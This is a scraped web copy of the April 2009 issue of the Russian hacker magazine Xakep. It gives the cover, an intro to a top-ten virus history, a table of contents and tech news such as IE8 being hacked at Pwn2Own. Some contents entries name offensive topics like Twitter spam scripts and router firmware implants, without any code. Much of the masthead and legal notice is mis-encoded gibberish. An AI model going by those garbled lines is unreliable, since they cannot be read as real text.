05.11.2014 Views

ЛУЧШИХ ВИРУСОВ - Xakep Online

ЛУЧШИХ ВИРУСОВ - Xakep Online

ЛУЧШИХ ВИРУСОВ - Xakep Online

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ПОЛНЫЙ АНАЛИЗ ПРИВАТНЫХ БАГОВ WORDPRESS СТР. 52<br />

x 04(АПРЕЛЬ)2009 10 ЛУЧШИХ ВИРУСОВ/ ИСТОРИЯ ЗЛА 1999-2009<br />

124<br />

АПРЕЛЬ 04 (124) 2009<br />

ДЕНЬ ГЕЙМЕРА<br />

WWW.GAMER-CITY.RU<br />

СТР. 4<br />

Melissa<br />

PC27 adaptor<br />

7<br />

1<br />

Sasser<br />

Sony rootkit<br />

НАВИГАЦИЯ<br />

БЕЗ GPS<br />

АЛЬТЕРНАТИВНЫЕ<br />

СПОСОБЫ<br />

ОПРЕДЕЛЕНИЯ<br />

КООРДИНАТ<br />

СТР. 26<br />

Loveletter<br />

Slammer<br />

6<br />

ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ<br />

Code red<br />

J3<br />

БАЗУ ДАННЫХ<br />

НЕ СТАЩИТЬ!<br />

НОВЫЙ ПУТЬ<br />

ДЛЯ ЗАЩИТЫ<br />

ДАННЫХ В БД<br />

СТР. 32<br />

5<br />

2<br />

Warezov<br />

10<br />

Nimda<br />

Mebroot<br />

www.xakep.ru<br />

АТАКА<br />

ТВИТТЕРА<br />

КАК СПАМЯТ<br />

TWITTER<br />

СКРИПТАМИ НА<br />

PYTHON’E<br />

СТР. 88<br />

PC27<br />

ЛУЧШИХ<br />

ВИРУСОВ<br />

ИСТОРИЯ ЗЛА<br />

1999-2009<br />

СТР. 20<br />

8<br />

3<br />

Storm<br />

4<br />

9


Intro<br />

Intro<br />

Intro<br />

Intro<br />

Intro<br />

Intro<br />

В 1999 году Девиду Смиту хватило ста строк неискушенного<br />

кода, чтобы устроить мировую эпидемию,<br />

заразив Мелиссой десятки миллионов компьютеров.<br />

И хотя с тех пор все здорово поменялось, степень<br />

проникновения разнообразной малвари едва ли<br />

уменьшилась. Чего стоит хотя бы январский червь<br />

Downadup, который до сих пор наводит страх на<br />

Windows-пользователей. Что уж говорить про разношерстный<br />

приватный софт для обустройства ботнетов<br />

и отжима денег с населения развитых стран.<br />

В этом месяце мы решили вспомнить, как развивалась<br />

публичная вирусная индустрия и составили<br />

своеобразный рейтинг самых популярных малварей<br />

за последние 10 лет.<br />

nikitoz, гл. ред. Х<br />

P.S. Наши друзья-геймеры из игровых журналов<br />

Gameland решили замесить крутую акцию под кодовым<br />

названием «День Геймера». Если интересно —<br />

читай подробности на странице 4.


CONTENT<br />

04(124)<br />

Nimda<br />

004 MEGANEWS<br />

Все новое за последний месяц<br />

FERRUM<br />

016 Nовый Wi-Fi<br />

Тест Draft N Wi-Fi роутеров<br />

PC_ZONE<br />

020 10 ЗЛО-ВИРУСОВ<br />

Самая нашумевшая малварь<br />

за последние 10 лет<br />

026 НАВИГАЦИЯ БЕЗ GPS<br />

Как определить свои координаты<br />

по IP, GSM/UMTS и Wi-Fi<br />

030 КОГДА ТЫ СТАНЕШЬ СЛЕПЫМ<br />

Это только сейчас кажется,<br />

что здоровье будет всегда<br />

032 БАЗУ ДАННЫХ НЕ СТАЩИТЬ!<br />

Правильные способы защитить<br />

данные в таблицах БД<br />

ВЗЛОМ<br />

038 EASY HACK<br />

Хакерские секреты простых вещей<br />

042 ОБЗОР ЭКСПЛОЙТОВ<br />

Свежие уязвимости от Сквоза<br />

048 МЕРЯЕМ УЯЗВИМОСТИ<br />

Классификаторы и метрики<br />

компьютерных брешей<br />

052 WORDPRESS:<br />

ТЕСТ НА ПРОНИКНОВЕНИЕ<br />

Полный анализ малоизвестных<br />

уязвимостей раскрученного движка<br />

058 ИМПЛАНТАЦИЯ CISCO<br />

Модифицирование прошивки маршрутизатора<br />

064 IPHONE ТЕРМИНАТОР<br />

Создаем автоматическое средство<br />

аудита Apple iPhone<br />

070 Х-TOOLS<br />

Программы для взлома<br />

СЦЕНА<br />

072 МЕДИА-МАГНАТЫ<br />

ПРОТИВ BITTORRENT<br />

Судебный процесс по делу The Pirate Bay<br />

ЮНИКСОЙД<br />

080 ОБРЕЧЕННЫЕ НА УСПЕХ<br />

Обзор самых интересных проектов,<br />

представленных на UNIX-конференциях<br />

084 ВСТРАИВАЕМ ПИНГВИНА<br />

Учимся ставить Linux на микроконтроллеры<br />

КОДИНГ<br />

088 АТАКА НА МИСТЕРА ТВИТТЕРА<br />

Пишем скрипты для спама Twitter на Python’e<br />

094 ПИТОН ДЛЯ МАТЕРЫХ<br />

ХАРДКОРЩИКОВ<br />

Куем ассемблерные вставки<br />

в Python с помощью кошерного CorePy<br />

ФРИКИНГ<br />

098 ИНФРАКРАСНАЯ ЛЕНЬ<br />

Управлять с пульта можно<br />

не только телевизором<br />

102 ГРОМ И МОЛНИИ<br />

Эксперимент по передаче<br />

энергии на расстояние<br />

SYN/ACK<br />

106 ЗА СЕМЬЮ ПЕЧАТЯМИ<br />

Win2k8: средства и инструменты безопасности<br />

110 УЗНИК ТАЙНОЙ ТЮРЬМЫ<br />

Используем FreeBSD Jail<br />

для изолирования небезопасных сервисов<br />

115 ЗВЕЗДНОЕ ПОПУРРИ<br />

Фокусничаем с IP-PBX Asterisk<br />

ЮНИТЫ<br />

120 ДЕНЬ ЗАВИСИМОСТИ (2009, VHSRIP)<br />

Полный ][-гайд по основным аддикциям<br />

124 FAQ UNITED<br />

Большой FAQ<br />

127 ДИСКО<br />

8,5 Гб всякой всячины<br />

128 WWW2<br />

Удобные web-сервисы


Mebroot<br />

020<br />

БАЗА<br />

ДАННЫХ<br />

1C<br />

Прав<br />

доступа нет<br />

Запрос<br />

данных<br />

Возврат пустого<br />

значения<br />

БАЗА<br />

ДАННЫХ<br />

CRYPTO<br />

Возврат пустого<br />

значения<br />

026 Злоумышленник<br />

032<br />

BID<br />

048<br />

Secunia<br />

OSVDB<br />

088<br />

ISS X-Force<br />

/ÐÅÄÀÊÖÈЯ<br />

>Ãëàâíûé ðåäàêòîð<br />

Íèêèòà «nikitozz» Êèñëèöèí<br />

(nikitoz@real.xakep.ru)<br />

>Âûïóñêàþùèé ðåäàêòîð<br />

Николай«gorl»Андреев<br />

(gorlum@real.xakep.ru)<br />

>Ðåäàêòîðû ðóáðèê<br />

ÂÇËÎÌ<br />

Дмитрий«Forb» Докучаев<br />

(forb@real.xakep.ru)<br />

PC_ZONE и UNITS<br />

Степан «step» Ильин<br />

(step@real.xakep.ru)<br />

UNIXOID, SYN\ACK и PSYCHO<br />

Àíäðåé «Andrushock» Ìàòâååâ<br />

(andrushock@real.xakep.ru)<br />

ÊÎÄÈÍÃ<br />

Александр «Dr. Klouniz» Лозовский<br />

(alexander@real.xakep.ru)<br />

ФРИКИНГ<br />

Сергей «Dlinyj»Долин<br />

(dlinyj@real.xakep.ru)<br />

>Ëèòåðàòóðíûй ðåäàêòîð<br />

Дмитрий Лященко<br />

(lyashchenko@gameland.ru)<br />

/DVD<br />

>Выпускающий редактор<br />

Степан «Step» Ильин<br />

(step@real.xakep.ru)<br />

>Редактор Unix-раздела<br />

Антон «Ant» Жуков<br />

>Редактор тематических подборок<br />

Андрей Комаров<br />

(komarov@gameland.ru)<br />

>Монтаж видео<br />

Максим Трубицын<br />

/ART<br />

>Àðò-äèðåêòîð<br />

Евгений Новиков<br />

(novikov.e@gameland.ru)<br />

>Верстальщик<br />

Вера Светлых<br />

(svetlyh@gameland.ru)<br />

>Фото<br />

Иван Скориков<br />

/XAKEP.RU<br />

>Ðåäàêòîð ñàéòà<br />

Ëåîíèä Áîãîëþáîâ<br />

(xa@real.xakep.ru)<br />

/ÐÅÊËÀÌÀ<br />

/ Тел.: (495) 935-7034, факс: (495) 780-8824<br />

>Директор группы GAMES & DIGITAL<br />

Евгения Горячева (goryacheva@gameland.<br />

ru)<br />

>Менеджеры<br />

Ольга Емельянцева<br />

Мария Нестерова<br />

Мария Николаенко<br />

Марина Румянцева<br />

Максим Соболев<br />

>Администратор<br />

Мария Бушева<br />

>Директор корпоративной группы<br />

(работа с рекламными агентствами)<br />

Лидия Стрекнева (strekneva@gameland.ru)<br />

>Старший менеджер<br />

Светлана Пинчук<br />

>Менеджеры<br />

Надежда Гончарова<br />

Наталья Мистюкова<br />

>Старший трафик-менеджер<br />

Марья Алексеева (alekseeva@gameland.ru)<br />

/PUBLISHING<br />

>Èçäàòåëи<br />

Рубен Кочарян<br />

(noah@gameland.ru)<br />

>Ó÷ðåäèòåëü<br />

ÎÎÎ «Ãåéì Ëýíä»<br />

>Äèðåêòîð<br />

Äìèòðèé Àãàðóíîâ<br />

(dmitri@gameland.ru)<br />

>Óïðàâëÿþùèé äèðåêòîð<br />

Äàâèä Øîñòàê<br />

(shostak@gameland.ru)<br />

>Äèðåêòîð ïî ðàçâèòèþ<br />

Ïàøà Ðîìàíîâñêèé<br />

(romanovski@gameland.ru)<br />

>Äèðåêòîð ïî ïåðñîíàëó<br />

Ìèõàèë Ñòåïàíîâ<br />

(stepanovm@gameland.ru)<br />

>Ôèíàíñîâûé äèðåêòîð<br />

Леонова Анастасия<br />

(leonova@gameland.ru)<br />

>Редакционный директор<br />

Дмитрий Ладыженский<br />

(ladyzhenskiy@gameland.ru)<br />

>PR-менеджер<br />

Наталья Литвиновская<br />

(litvinovskaya@gameland.ru)<br />

/ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ<br />

>Äèðåêòîð îòäåëà<br />

äèñòðèáóöèè<br />

Àíäðåé Ñòåïàíîâ<br />

(andrey@gameland.ru)<br />

>Ñâÿçü ñ ðåãèîíàìè<br />

Òàòüÿíà Êîøåëåâà<br />

(kosheleva@gameland.ru )<br />

>Подписка<br />

Марина Гончарова<br />

(goncharova@gameland.ru)<br />

òåë.: (495) 935.70.34<br />

ôàêñ: (495) 780.88.24<br />

> Ãîðячая ëèíèя ïî ïîäïèñêå<br />

òåë.: 8 (800) 200.3.999<br />

Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè<br />

> Äëя писем<br />

101000, Ìîñêâà,<br />

Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð<br />

Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå<br />

Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,<br />

òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ<br />

êîììóíèêàöèé ÏÈ ß 77-11802 îò 14<br />

ôåâðàëÿ 2002 ã.<br />

Îòïå÷àòàíî â òèïîãðàôèè<br />

«Lietuvas Rivas», Литва.<br />

Òèðàæ 100 000 ýêçåìïëÿðîâ.<br />

Öåíà äîãîâîðíàÿ.<br />

Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî<br />

ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ<br />

óâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðå<br />

ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê<br />

ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå<br />

äàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõ<br />

öåëÿõ, ìîãóò áûòü ïðèâëå÷åíû ê<br />

îòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ<br />

îòâåòñòâåííîñòè íå íåñåò.<br />

Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà<br />

ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â<br />

íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ<br />

áåç ñïðîñà — ïðåñëåäóåì.<br />

Объединенная медиакомпания Gameland<br />

предлагает партнерам лицензии и права на<br />

использование контента журналов, дисков,<br />

сайтов и телеканала Gameland TV. По всем<br />

вопросам, связанным с лицензированием<br />

и синдицированием обращаться по адресу<br />

content@gameland.ru.


meganews<br />

PC27<br />

J3<br />

J3<br />

PC27<br />

МАРИЯ «MIFRILL» НЕФЕДОВА / MIFRILL@R EAL.XAKEP.RU /<br />

ОБО ВСЕМ ЗА ПОСЛЕДНИЙ МЕСЯЦ<br />

Новые дисплеи<br />

от Samsung<br />

Этой весной компания Samsung порадует нас новой<br />

линейкой мониторов. В 50 серию войдут девять широкоформатников<br />

с диагоналями 20’’, 21,5’’ и 23’’. Технические<br />

характеристики таковы: время отклика 2 мс для всех<br />

моделей, кроме трех мониторов с аналоговым интерфейсом,<br />

они будут немного медленнее — 5 мс; динамическая<br />

контрастность 50.000:1; яркость 300 кд/м2. Разрешение<br />

тоже порадует: 1200х900 — у трех младших моделей<br />

серии и 1920х1080 — у остальных. Благодаря технологии<br />

MagicBright3, настроить монитор под свои нужды не<br />

составит труда, — уже имеется шесть готовых профилей:<br />

«Текст», «Интернет», «Спорт», «Кино», «Игры», а также<br />

наличествует пользовательский режим. Дизайн серии<br />

отличается строгими линями, четкими углами, и даже<br />

кнопки управления выполнены в гладком сенсорном<br />

варианте. За счет сочетания угольно-черной рамки с корпусом<br />

цвета «черный гранат», 50 серия выглядит интересно<br />

и необычно. Увидеть ее своими глазами можно будет<br />

уже в апреле-мае, когда новинки доберутся до прилавков<br />

магазинов.<br />

День геймера<br />

(game)land и «Эльдорадо» дарят всем<br />

российским геймерам профессиональный<br />

праздник — День Геймера! 25 и 26 апреля<br />

в пяти магазинах «Эльдорадо» в городе<br />

Москве можно будет с размахом отметить<br />

событие — ознакомиться с игровыми новинками,<br />

принять участие в различных турнирах<br />

по хитовым играм, приобрести игровую<br />

продукцию по специальным ценам и просто<br />

отлично провести время. Все подробности<br />

на сайте www.gamer-city.ru! Не пропусти!<br />

В каждом из магазинов создана игровая<br />

зона. В демонстрационной части — новейшие<br />

проекты для РС и Xbox 360, в турнирной<br />

— поединки по самым популярным игровым<br />

дисциплинам, на сцене — зажигательные<br />

ведущий и ди-джей, которые будут поддерживать<br />

и разогревать атмосферу праздника.<br />

Помимо этого — веселые конкурсы, море<br />

призов, подарков и дружелюбная атмосфера.<br />

Приняв участие в турнире, все желающие<br />

004<br />

ПО ОФИЦИАЛЬНОЙ СТАТИСТИКЕ APPLE, IPHONE<br />

OS УЖЕ УСТАНОВЛЕНА НА 30 МИЛЛИОНАХ<br />

МОБИЛЬНЫХ УСТРОЙСТВ.<br />

становятся участниками Континентальной<br />

Лиги — на официальном сайте будут<br />

публиковаться таблицы с рейтингами лучших<br />

игроков. Стань героем своей страны! Турниры<br />

будут проводиться по следующим дисциплинам<br />

- каждый сможет найти себе достойных<br />

соперников:<br />

•F.E.A.R. 2: Project Origin(PC)<br />

•Call of Duty: World at War(PC)<br />

•GRID (PC)<br />

•Gears of War 2 (Xbox 360)<br />

•Mortal Kombat vs. DC Universe (Xbox 360)<br />

Задать вопросы о мероприятии можно на<br />

форуме www.gameland.ru в специально<br />

созданном разделе FAQ.<br />

АДРЕСА МАГАЗИНОВ<br />

ПРОВЕДЕНИЯ АКЦИИ:<br />

•ЛЮБЛИНСКАЯ УЛ., Д. 153 , ТК Л-153<br />

•РЯЗАНСКИЙ ПР. 2, ТК ГОРОД<br />

•БУТАКОВА Д.2, ТК ГРАНД<br />

•БАГРАТИОНОВСКИЙ ПРОЕЗД Д.7,<br />

ТК ГОРБУШКИН ДВОР<br />

•КИРОВОГРАДСКАЯ УЛ., Д.13, ТК КАРЕНФОР<br />

XÀÊÅÐ 04 /124/ 09


PC27<br />

>> meganews<br />

Налог<br />

на контрафакт<br />

PC27<br />

Есть на нашем голубом шарике совсем небольшое пятнышко — остров<br />

Мэн. Это местечко во всем мире известно как оффшорная зона и уникально<br />

тем, что, являясь коронным владением Великобритании, не входит<br />

ни в состав самой Великобритании, ни в состав ЕС. И хотя живет там<br />

всего 76.000 человек, эти люди довольно активно пользуются интернетом<br />

(на острове есть целых три провайдера). Разумеется, жители Мэна,<br />

как и все прогрессивное человечество, пользуются файлообменниками,<br />

пиринговыми сетями, а стало быть, качают всяческий контрафакт. И пока<br />

в других странах юзеров за это показательно судят и штрафуют, советник<br />

правительства по электронному бизнесу Рон Берри предложил совершенно<br />

иное решение — на острове введен смешной налог в размере<br />

одного фунта стерлингов, оплатить который можно даже с мобильного<br />

телефона. Из собранных с населения средств будут производиться официальные<br />

отчисления музыкантам и звукозаписывающим компаниям.<br />

Кому именно и сколько платить, помогут определить провайдеры острова,<br />

уже установившие у себя специальное оборудование, при помощи<br />

которого можно будет узнать, кто и какую конкретно музыку скачивал.<br />

Интересно, когда до подобных схем додумаются не только на Мэне?..<br />

Цветной e-ink<br />

Вот и появилось, наконец, в продаже первое устройство для чтения<br />

электронных книг с цветным дисплеем. Пионер в сфере цветных ридеров<br />

на базе электронной бумаги (что примечательно, используются не<br />

разработки компании E-ink, а собственная технология) носит имя FLEPia<br />

и стал детищем Fujitsu Frontech Limited и Fujitsu Laboratories Limited.<br />

Экран девайса с диагональю 8 " и разрешением 768х1024 способен<br />

отображать 260.000 цветов. Однако радоваться рано — при работе «на<br />

полную мощность» устройству потребуется 8 секунд для прорисовки<br />

страницы, что переходит все разумные границы. При сокращении<br />

количества цветов до 4096 жутковатая цифра уменьшается до 5 секунд, а<br />

при 64 — достигает более-менее приемлемого показателя в 1.8 секунды.<br />

Остальные характеристики тоже довольно необычны для ридеров:<br />

Windows CE5.0 ОС, тачскрин, поддержка Wi-Fi IEEE802.11b/g и Bluetooth<br />

Ver2.0+EDR, подключение к ПК через USB, поддержка SD-карт до 4 Гб.<br />

Аккумулятор, разумеется, менее «живуч» — выдерживает смену страниц<br />

2400 раз в 64-цветном режиме (для читалок в градациях серого этот<br />

показатель обычно равен 7000-9000 «перелистываний»). Цена девайса<br />

составляет $1015, и доступен он пока только в Японии. Остальным<br />

странам, традиционно, придется подождать. Притом — лучше ждать не<br />

FLEPia, а дальнейшего развития прогресса :).<br />

Русский магазин HP<br />

ИЗ-ЗА КРИЗИСА ДОЛЯ ПИРАТСКИХ<br />

DVD- И CD-ДИСКОВ В ОБЩЕМ ОБЪЕМЕ<br />

ПРОДАЖ УВЕЛИЧИЛАСЬ НА 5%.<br />

В начале марта в Москве, под<br />

крышей торгового комплекса<br />

«Горбушкин двор», открылся<br />

первый в России фирменный<br />

магазин компании HP. Выбор<br />

места вряд ли кого-то удивит,<br />

— «Горбушкин двор» один из<br />

крупнейших и наиболее посещаемых<br />

«электронных развалов»<br />

столицы.<br />

Магазин расположился в секторе<br />

«Ноутбуки», но, несмотря<br />

на это, представлены в нем не<br />

только ноуты, но и весь спектр<br />

продукции компании — от десктопов<br />

до устройств печати.<br />

Бесспорными плюсами официального<br />

магазина будут возможность<br />

приобрести товар с<br />

дополнительными гарантиями<br />

подлинности и качества, протестировать<br />

интересующие продукты<br />

или ознакомиться с «эксклюзивными»<br />

и редкими моделями,<br />

а также проконсультироваться<br />

с ведущими специалистами,<br />

получив свежую и достоверную<br />

информацию.<br />

Дирекция HP делает обнадеживающие<br />

прогнозы — если проект<br />

окажется выгоден не только<br />

с имиджевых позиций, но и<br />

коммерчески, в других крупных<br />

городах тоже появятся официальные<br />

магазины.<br />

006<br />

XÀÊÅÐ 04 /124/ 09


PC27<br />

>> meganews<br />

Аварийная<br />

кнопка от Gmail<br />

J3<br />

Сколько раз за свою жизнь,<br />

написав и отправив e-mail, ты<br />

жалел о содеянном? Все мы порой<br />

можем наговорить лишнего,<br />

банально ошибиться адресом<br />

или забыть упомянуть что-то<br />

важное... И, разумеется, осознаем<br />

это только после нажатия<br />

кнопки «Send» (закон подлости<br />

во всей красе!). Но, оказывается,<br />

от этого страдают не только<br />

юзеры, но и сами разработчики.<br />

Во всяком случае, разработчики<br />

Google точно. Ведь это их<br />

усилиями у Gmail появилась<br />

новая функция — «undo sent»,<br />

то есть «отменить отправку».<br />

Такое предложение теперь<br />

появляется после нажатия<br />

кнопки «Отправить». Система<br />

в течение 5 секунд придерживает<br />

письмо, давая нам шанс<br />

передумать. Определенно — не<br />

самая бесполезная опция,<br />

правда, 5-секундная задержка<br />

это, все же, маловато.<br />

СОГЛАСНО СТАТИСТИКЕ JIWIRE,<br />

РОССИЯ НАХОДИТСЯ НА 8 МЕСТЕ В<br />

МИРЕ ПО КОЛИЧЕСТВУ WI-FI ТОЧЕК.<br />

Халява, сэр!<br />

На дворе мировой финансовый<br />

кризис, но, похоже, британцев он<br />

мало волнует. Недавно у одного из<br />

крупнейших британских поставщиков<br />

книг для Amazon.com<br />

истекла аренда склада (видимо,<br />

«внезапно», как оно всегда бывает).<br />

Товар там лежал не слишком<br />

ходовой, и хозяева попросту<br />

от него отказались. В итоге, на<br />

руках у владельцев помещения<br />

остался огромный ангар, забитый<br />

миллионами букинистических<br />

книг, которые нужно было как-то,<br />

куда-то вывозить. Возвращать их в<br />

издательства вышло бы слишком<br />

накладно, и решено было сделать<br />

ход конем. Территорию Bristol<br />

Bookbarn объявили территорией<br />

халявы, открыв двери всем<br />

желающим. Люди приходили и<br />

приезжали к складу, чтобы покопаться<br />

в завалах и забрать столько<br />

книг, сколько смогут унести (а<br />

некоторым удавалось уносить до<br />

150 томов за раз). Склад «зачистили»<br />

на ура, книги отправились<br />

в добрые руки, и справедливость<br />

восторжествовала. Но непонятно<br />

другое — что подвигло Amazon.<br />

com на такую щедрость, и с каких<br />

пор крупнейший е-шоп разбрасывается<br />

товаром и так относится к<br />

книгам.<br />

IE 8. Релиз<br />

Компания Microsoft, наконец-то,<br />

выпустила финальную версию<br />

Internet Explorer 8. Произошло это<br />

19 марта, а уже 20-го браузер первый<br />

раз сломали :). На конференции<br />

PWN2OWN, организованной<br />

компанией 3Com, устроили соответствующий<br />

конкурс. В ходе него<br />

немец под ником Nils, используя<br />

собственный эксплойт под IE7,<br />

без проблем проник на машину с<br />

последней сборкой Windows 7 и<br />

IE8 и похитил оттуда указанный<br />

организаторами файл. На все про<br />

все у парня ушло порядка пяти<br />

минут. За взлом Nils’у торжественно<br />

вручили 5000 долларов и<br />

новенький Sony Vaio, а детальное<br />

описание хака и эксплойт отправились<br />

прямиком в Microsoft<br />

Security Research Center.<br />

В целом, новая версия браузера<br />

не несет в себе ничего революционного,<br />

хотя IE8 определенно<br />

стабильнее своих предшественников.<br />

Теперь браузер умеет<br />

закрывать отдельные зависшие<br />

вкладки (по образу и подобию<br />

Google Chrom), обладает функцией<br />

анонимного серфинга InPrivate<br />

и оснащен защитой от фишинга<br />

SmartScreen.<br />

008<br />

XÀÊÅÐ 04 /124/ 09


meganews<br />

В Пентагоне<br />

тоже любят sci-fi<br />

Кто бы мог подумать, что образное<br />

выражение «стрельба<br />

из пушки по воробьям» станет<br />

реальностью. Стрелять, правда,<br />

собираются не по воробьям, а по<br />

комарам, и пушка будет лазерная.<br />

Такая гениальная мысль<br />

пришла в голову американским<br />

ученым, во времена холодной<br />

войны работавшим над созданием<br />

лазерной ПРО. Холодная<br />

война давно миновала, ценные<br />

мощности простаивают без дела,<br />

а от них, оказывается, может быть<br />

и совсем другой прок. Установки<br />

можно переориентировать на<br />

борьбу с насекомыми — заставить<br />

сжигать полчища кровососов,<br />

внеся большой вклад в борьбу с<br />

малярией и другими болезнями,<br />

переносимыми комарами. Стоит<br />

заметить, что тут не обошлось без<br />

Билла Гейтса, который вложил в<br />

научные проекты, направленные<br />

на борьбу с малярией, миллионы,<br />

и совсем недавно пугал комарами<br />

из банки слушателей на<br />

конференции TED. Теперь пушки,<br />

стоящие вблизи городов, планируют<br />

«научить» различать писк<br />

самцов и самок комара, а также<br />

отличать его от звуков, издаваемых<br />

другими насекомыми. Все<br />

поклонники фантастики ликуют,<br />

а параноики запасают тушенку и<br />

боеприпасы.<br />

PC27<br />

Больше нетбуков,<br />

хороших и разных<br />

В ходе CeBIT 2009 компания Gigabyte Technology продемонстрировала<br />

публике ряд нетбуков, в число которых затесались любопытные модели —<br />

Touch Note M1028 и Booktop M1022. Первый нетбук интересен своим 10.1’’<br />

сенсорным экраном — что, по сути, превращает его в гибрид планшетного<br />

ПК с ноутом. Экран крепится к корпусу специальным шарниром, за счет которого<br />

может поворачиваться, и имеет разрешение 1024x600 или 1366x768<br />

точек. Производитель также сообщает, что девайс поддерживает Wi-Fi,<br />

Bluetooth и оснащен слотом для Express Card. Остальные характеристики<br />

пока не разглашаются. Вторая модель — Booktop M1022 — будет комплектоваться<br />

док-станцией, с которой нетбук сможет подзаряжаться и легким<br />

движением руки превращаться в десктоп. Подробных характеристик для<br />

этой модели тоже пока нет, известна лишь диагональ экрана — 10.1’’ и тот<br />

факт, что устройство будет поддерживать стандарт 3.5G, благодаря модулю<br />

HSDPA на борту.<br />

Киборги<br />

нашего времени<br />

Наука и прогресс пока не дошли до того,<br />

чтобы спокойно имплантировать в тело<br />

человека разные интересные штуки<br />

(кардиостимуляторы не в счет!). Ну, а раз<br />

полного «Ghost in the shell» пока не видать,<br />

приходится придумывать что-то попроще<br />

и своими силами. Финский программер<br />

Джерри Ялава после автоаварии лишился<br />

пальца на руке, но унывал недолго. Получив<br />

протез, он самостоятельно оснастил его<br />

встроенной флешкой на 2 Гб. Теперь, чтобы<br />

воспользоваться протезом не по прямому<br />

назначению, достаточно сдвинуть ноготь<br />

искусственного пальца — и можно вставлять<br />

флешку в USB-порт. На достигнутом Ялава<br />

останавливать не собирается, уже планируя<br />

версию 2.0 — со съемной фалангой и большей<br />

емкостью накопителя.<br />

010<br />

XÀÊÅÐ 04 /124/ 09


PC27<br />

>> meganews<br />

PANDA SECURITY СООБЩАЕТ: БОЛЕЕ 10 МЛН. КОМПЬЮТЕРОВ В МИРЕ<br />

ЗАРАЖЕНЫ ВРЕДОНОСНЫМ ПО, ОРИЕНТИРОВАННЫМ НА КРАЖУ<br />

ФИНАНСОВОЙ ИНФОРМАЦИИ.<br />

Ноутбук с характером<br />

суперкара<br />

IBM + SUN = ?<br />

Интересную информацию распространило издание The Wall Street Journal.<br />

Ссылаясь на конфиденциальный источник, журнал сообщил, что корпорация IBM<br />

ведет переговоры о покупке компании Sun Microsystems, пользуясь сложившимися<br />

условиями финансового кризиса. Более того, источник утверждает, что сделка может<br />

состояться совсем скоро и называет минимальную сумму, фигурирующую в переговорах<br />

— 6.5 млрд. долларов. Если информация подтвердится, то это приобретение<br />

станет крупнейшим за всю историю IBM и поможет ей укрепить свое положение на<br />

рынке в нынешнее, не слишком благополучное, время.<br />

Крупные компьютерные выставки — это всегда множество<br />

новостей и интересных новинок, и прошедшая в Ганновере<br />

CeBIT 2009 не стала исключением. Компания Asus<br />

презентовала на выставке ноутбук Asus-Lamborghini VX5, на<br />

создание которого инженеров Asus вдохновил автомобиль<br />

Lamborghini Reventon. Младшего брата шикарного авто отличает<br />

не только футуристический и оригинальный дизайн,<br />

но и очень внушительные характеристики. «Под капотом»<br />

ноутбука расположатся процессор Core2 Quad, 4 Гб ОЗУ и<br />

SSD-накопитель объемом 1 терабайт. Да-да, это не опечатка,<br />

Vx5 будет самым «вместительным» ноутбуком в мире,<br />

большего накопителя пока нет ни у кого. Прибавим к этому<br />

16’’ экран с поддержкой Full-HD, дискретную видеокарту<br />

NVIDIA GeForce GT 130M с 1 Гб GDDR3 VRAM, и оптический<br />

комбо-привод с поддержкой Blu-ray. Если тебе все еще<br />

недостаточно мощностей, то заметим, что ноутбук может<br />

работать в режиме TwinTurbo, по сути, разгоняющем ЦП и<br />

ГП. Одним словом, ценителям стильных и мощных ноутбуков<br />

эта модель настоятельно рекомендуется.<br />

Окна,<br />

но не Windows<br />

Свой вклад в приближение технического<br />

прогресса к простым людям внесла<br />

компания Phillips, представив работающий<br />

прототип окна с OLED-подсветкой.<br />

Специалисты исследовательского подразделения<br />

Phillips не один год трудились<br />

над созданием прозрачных органических<br />

светодиодов (OLED), которые<br />

можно было бы запихнуть между слоями<br />

пластика или стекла, создав обычное на<br />

первый взгляд окно, способное в темное<br />

время суток излучать свет. До появления<br />

технологии OLED это было невозможно,<br />

но сейчас дело дошло уже до работающих<br />

образцов. Теперь основные проблемы<br />

заключаются в том, что массовое производство<br />

слишком дорого, для создания<br />

готовых окон требуется «чистая комната»,<br />

да и цена готовых продуктов выходит за<br />

разумные пределы. Траблы планируют<br />

решить уже в течение ближайших лет,<br />

обеспечив человечество новым, оригинальным<br />

источником света.<br />

012<br />

ПО ДАННЫМ КОМПАНИИ SECUNIA, В FIREFOX БЫЛО<br />

ОБНАРУЖЕНО 115 УЯЗВИМОСТЕЙ, ЧТО В 4 РАЗА<br />

БОЛЬШЕ, ЧЕМ ЛЮБОМ ДРУГОМ БРАУЗЕРЕ.<br />

XÀÊÅÐ 04 /124/ 09


meganews<br />

Облава на корсаров<br />

Никто, в общем-то, не сомневался, что пираты тоже оценят новые<br />

возможности Blu-ray дисков, но в России задержали партию такого<br />

контрафакта впервые. Отличилась, конечно, Москва, где сотрудники<br />

ГУВД изъяли с двух складов более миллиона подделок, примерная<br />

стоимость которых оценивается в 100 млн. рублей. Что интересно,<br />

пираты, оказывается, используют мощности Blu-ray как-то не<br />

слишком рационально. В основном на дисках записаны «экранки»<br />

последних новинок киноиндустрии в формате DVD-видео, или вообще<br />

в .avi. Разумеется, посмотреть такие диски на Blu-ray аппаратуре<br />

не выйдет, только на компьютере. Однако розничная стоимость<br />

такого диска составляла порядка 1000 рублей, учитывая, что лицензионный<br />

Blu-ray диск стоит 1500 деревянных. Видимо, тяга к халяве<br />

и сборникам «100 в 1» в России неискоренимы.<br />

83% САЙТОВ ИМЕЮТ<br />

КРИТИЧЕСКИЕ УЯЗВИМОСТИ.<br />

Окукливаемся<br />

Тема британских ученых, кажется,<br />

никогда не будет исчерпана.<br />

